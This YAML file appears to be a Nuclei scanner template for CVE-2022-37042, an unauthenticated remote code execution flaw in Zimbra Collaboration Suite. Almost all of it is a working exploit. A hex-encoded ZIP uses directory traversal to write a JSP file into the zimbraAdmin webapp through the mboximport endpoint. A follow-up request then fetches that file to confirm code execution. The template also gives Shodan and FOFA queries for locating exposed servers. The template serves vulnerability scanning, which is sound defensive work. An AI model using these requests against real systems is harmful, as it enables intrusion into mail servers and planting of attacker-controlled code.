46 lines
3.1 KiB
YAML
46 lines
3.1 KiB
YAML
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id: CVE-2022-37042
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info:
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name: Zimbra Collaboration Suite - Unauthenticated RCE
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author: _0xf4n9x_,For3stCo1d
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severity: critical
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description: |
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Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925.
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reference:
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- https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-37042
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- https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
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- https://github.com/vnhacker1337/CVE-2022-27925-PoC
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metadata:
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shodan-query: http.favicon.hash:"1624375939"
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fofa-query: app="zimbra-邮件系统"
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tags: cve,cve2022,zimbra,rce,unauth
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requests:
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- raw:
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- |
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POST {{path}} HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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content-type: application/x-www-form-urlencoded
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{{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
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- |
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GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
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Host: {{Hostname}}
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payloads:
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path:
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- /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
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- /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
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stop-at-first-match: true
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_1 == 401'
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- 'status_code_2 == 200'
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- "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
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condition: and
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